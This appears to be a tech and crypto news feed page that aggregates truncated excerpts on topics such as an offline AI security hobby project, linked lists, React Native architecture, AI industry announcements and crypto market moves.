The Sovereign Architecture Most modern AI development relies heavily on cloud APIs and external dependencies. I decided to go the other direction: Total Sovereignty. I am building NEXUS, an offline-first, air-gapped AI defense system designed to run on local hardware (Linux and Android/Termux). The goal is to create recursive intelligence that functions without an internet connection, ensuring privacy and zero data leakage. I avoid "black box" libraries where possible. My stack focuses on: Core: Python 3.x (Dependency-free where possible) GUI: Custom Tkinter interfaces (Cyberpunk/Matrix aesthetic for high-contrast visibility) Logic: Recursive "Breeding Cycles" rather than standard versioning. I spawn multiple instances, stress-test them, and the surviving code becomes the baseline for the next generation. Deployment: Runs natively on Linux or via Termux on Android. I recently refactored my modular agents into standalone applications. Pictured in the cover image are: ARCHITECT (Green): A Neural Enhanced Security Platform for Command & Control. SENTINEL (Blue): A Quantum-resistant defensive monitor for system metrics and threat detection. In a world of connected APIs, building "air-gapped" software forces you to understand the logic from the ground up. You can't call an API to solve the problem; you have to engineer the solution yourself. I am currently open-sourcing these tools to share this "Sovereign" philosophy with the community. Check out the repositories here: https://github.com/SovArcNeo Visualized above: Two of my modular agents ('Architect' and 'Sentinel') that I recently refactored into standalone applications.  ( 6 min )

liner notes: Professional : Pretty good day. Had the normal meetings. Responded to some community questions. I've been thinking through how I want to refactor this project from one platform to using GitHub Codespaces since the code would be in a GitHub repo anyway. I've been trying to see how I can unwind what we've already done, but it looks like it would be a lot more work than starting from scratch again. To validate my hunch, I asked went to Google Gemini. Gemini 3 just came out and I'm on the Pro plan so I figured I would try it out with Deep Research. I explained what I want to achieve trying to be very specific. I uploaded a zip file that my part of the process creates so that it has an idea of what the input would look like. I even provided a link to a similar project I created usi…  ( 7 min )

Linked Lists are fundamental data structures that overcome key limitations of arrays, particularly when it comes to insertion and deletion operations. This comprehensive guide explores linked list theory and demonstrates essential patterns through practical LeetCode solutions. A Linked List is a linear data structure where elements (nodes) are stored in non-contiguous memory locations. Each node contains: Value: The data being stored Pointer: Reference to the next node in the sequence This non-contiguous memory allocation is the fundamental difference from arrays, enabling efficient insertions and deletions. Operation Array Linked List Random Access O(1) O(n) Search O(n) O(n) Insertion at Beginning O(n) O(1) Insertion at End O(1)* O(n) or O(1)** Deletion at Beginning O(n) O(…  ( 11 min )

🚀 Excited to share my latest project: a Digital Brochure Template! https://payhip.com/b/DeCyj  ( 6 min )

Expectativas iniciales • Objetivo: Contar con un sistema operativo que sirviera tanto para programar como para jugar. Instalación • Obstáculo principal: El instalador no ofrece opciones de multiboot. Experiencia de uso • Entorno gráfico (GNOME): Evaluación crítica • Aspectos negativos: Próximos pasos • Decisión: Probar otra distribución Linux que ofrezca mejor balance entre rendimiento, personalización y soporte para juegos.  ( 6 min )

Kirby Air Riders’ main theme “Starlit Journey” gets a playful deep dive, showing how its bubbly intro, bright verse, catchy chorus, dynamic bridge, and triumphant final choruses all work together to spark pure, joy-packed energy. With handy timestamps (0:00 Starlit Journey, 0:59 Intro, 2:47 Verse, 5:56 Chorus, 9:51 Bridge, 10:47 Final Choruses, 14:00 “I love music”) you can jump right to each section. Plus, there’s links to the creator’s Patreon, merch store, Discord, and Twitter for anyone hungry for more game-music goodness. Watch on YouTube  ( 6 min )

Analogy: The Business Manager, The Translator, and The Scribe This analogy maps the classic React Native architecture onto a fast-paced corporate strategy session that needs external visualization and user feedback. Role: The Business Manager (your React components and logic). Action: They are responsible for the strategy and logic. They process all the raw data, decide what information is most important, and formulate the final plan of what the audience needs to see and interact with. Limitation: They only speak JavaScript (a proprietary foreign language) and cannot talk directly to the audience or draw on the whiteboard themselves. Role: The Single Foreign Language Translator. Action: This person is the only link. They take the Business Manager's complex strategic plans (JS code) and ser…  ( 9 min )

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OpenAI has sent out emails notifying API customers that its chatgpt-4o-latest model will be retired from the developer platform in mid-February 2026,. Access to the model is scheduled to end on February 16, 2026, creating a roughly three-month transition period for remaining applications still built on GPT-4o. Sources familiar with the matter emphasized that this timeline applies only to the API. OpenAI has not announced any schedule for removing GPT-4o from ChatGPT, where it remains an option for individual consumers and users across paid subscription tiers. Internally, the model is considered a legacy system with relatively low API usage compared to the newer GPT-5.1 series, but the company expects to provide developers with extended warning before any model is removed. The planned re…

Salesforce launched a suite of monitoring tools on Thursday designed to solve what has become one of the thorniest problems in corporate artificial intelligence: Once companies deploy AI agents to handle real customer interactions, they often have no idea how those agents are making decisions. The new capabilities, built into Salesforce's Agentforce 360 Platform, give organizations granular visibility into every action their AI agents take, every reasoning step they follow, and every guardrail they trigger. The move comes as businesses grapple with a fundamental tension in AI adoption — the technology promises massive efficiency gains, but executives remain wary of autonomous systems they can't fully understand or control. "You can't scale what you can't see," said Adam Evans, executive vi…

Researchers at Google have developed a new AI paradigm aimed at solving one of the biggest limitations in today’s large language models: their inability to learn or update their knowledge after training. The paradigm, called Nested Learning, reframes a model and its training not as a single process, but as a system of nested, multi-level optimization problems. The researchers argue that this approach can unlock more expressive learning algorithms, leading to better in-context learning and memory. To prove their concept, the researchers used Nested Learning to develop a new model, called Hope. Initial experiments show that it has superior performance on language modeling, continual learning, and long-context reasoning tasks, potentially paving the way for efficient AI systems that can adapt…

There’s a lot at stake when it comes to understanding how AI is changing the economy at large. What’s the right outlook to have? Join Mat Honan, editor in chief, for a special conversation with David Rotman, editor at large, and Richard Waters, Financial Times columnist, exploring what’s happening across industries and the market. Going live on December…  ( 20 min )

This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. We’re learning more about what vitamin D does to our bodies At a checkup a few years ago, a doctor told me I was deficient in vitamin D. But he wouldn’t write me…  ( 22 min )

It has started to get really wintry here in London over the last few days. The mornings are frosty, the wind is biting, and it’s already dark by the time I pick my kids up from school. The darkness in particular has got me thinking about vitamin D, a.k.a. the sunshine vitamin. At a checkup…  ( 21 min )

Python development looks simple from the outside. But managing real projects is rarely easy. You need to install packages, update them, avoid version conflicts, create virtual environments, and prepare your project for distribution. Many beginners th...  ( 8 min )

When you click on most backend development tutorials, they often teach you what to do, not how to think.That’s why many developers only realize their mistakes after they start building. So, how does one actually think like a backend developer? Before...  ( 10 min )

Nowadays, computers can comprehend and produce human-like language thanks to Natural Language Processing. And this opens up numerous opportunities for you as a developer. This guide will teach you how to create NLP projects from scratch. It includes ...  ( 30 min )

Today Quincy Larson interviews Alison Co and Cindy Cui, two university students who won the NW Hacks hackathon with their tool that helps people who are losing their vision learn to read Braille. He met them when GitHub invited them to their big San ...  ( 5 min )

Rival crypto asset manager Bitwise launched its XRP ETF earlier this week.  ( 33 min )

A steep selloff pushed ICP below the $4.33 floor, with exceptional volume marking the session’s decisive breakdown.  ( 34 min )

Tom Lee's company could trap shareholders amid low staking yields, hefty embedded fees and vanishing NAV premium, 10x Research founder Markus Thielen warns.  ( 33 min )

While U.S.-listed bitcoin treasury firms struggle to outperform ETFs, Japan’s harsh crypto tax code sends investors into DAT stocks, making outperformance easy.  ( 34 min )

Trading volume explodes 98% above average as institutional sellers drive Hedera token through critical technical barriers.  ( 34 min )

JPMorgan warning on potential MSCI exclusion sparks fresh pressure, prompting another public response from the executive chairman.  ( 33 min )

Rep. Warren Davidson introduced legislation that allows bitcoin tax payments without incurring capital gains to beef up the U.S. Strategic Bitcoin Reserve.  ( 35 min )

The product is set to launch in the next couple weeks, Fanatics CEO Michael Rubin said on CNBC.  ( 33 min )

The exchange’s latest deal folds Solana-native Vector into its consumer trading arm, extending a rapid M&A streak.  ( 33 min )

Put options have dominated trading activity over the past week.  ( 33 min )

Bitcoin Cash (BCH) was also trading lower, down 2.3% from Thursday.  ( 31 min )

GSR upgraded GSR One, unifying market making, over-the-counter trading and treasury services as demand for institutional-grade crypto infrastructure increases.  ( 34 min )

Short-term realized-loss dominance is typical of market stress, but the magnitude this week stands out.  ( 35 min )

Previously having essentially written off chances of further monetary ease in 2025, interest rate traders are now pricing more than a 70% chance of a rate cut at the Federal Reserve's December meeting.  ( 34 min )

Your day-ahead look for Nov. 21, 2025  ( 39 min )

Two traders captured more than $1.3 million in profits by exploiting Base’s new “flashblocks” system during the debut of the network founder’s creator coin.  ( 34 min )

Crypto markets plunged toward April lows on Friday as a lingering liquidity crunch amplified price swings. Bitcoin and ether fell more than 10%.  ( 35 min )

The St. Petersburg, Florida-based investment manager added to its holdings in Coinbase, Bitmine Immersion Technologies, Circle Internet and Bullish.  ( 32 min )

Strategy's stock price has fallen sharply alongside bitcoin, marking one of its worst drawdowns since it adopted a bitcoin treasury strategy in 2020.  ( 34 min )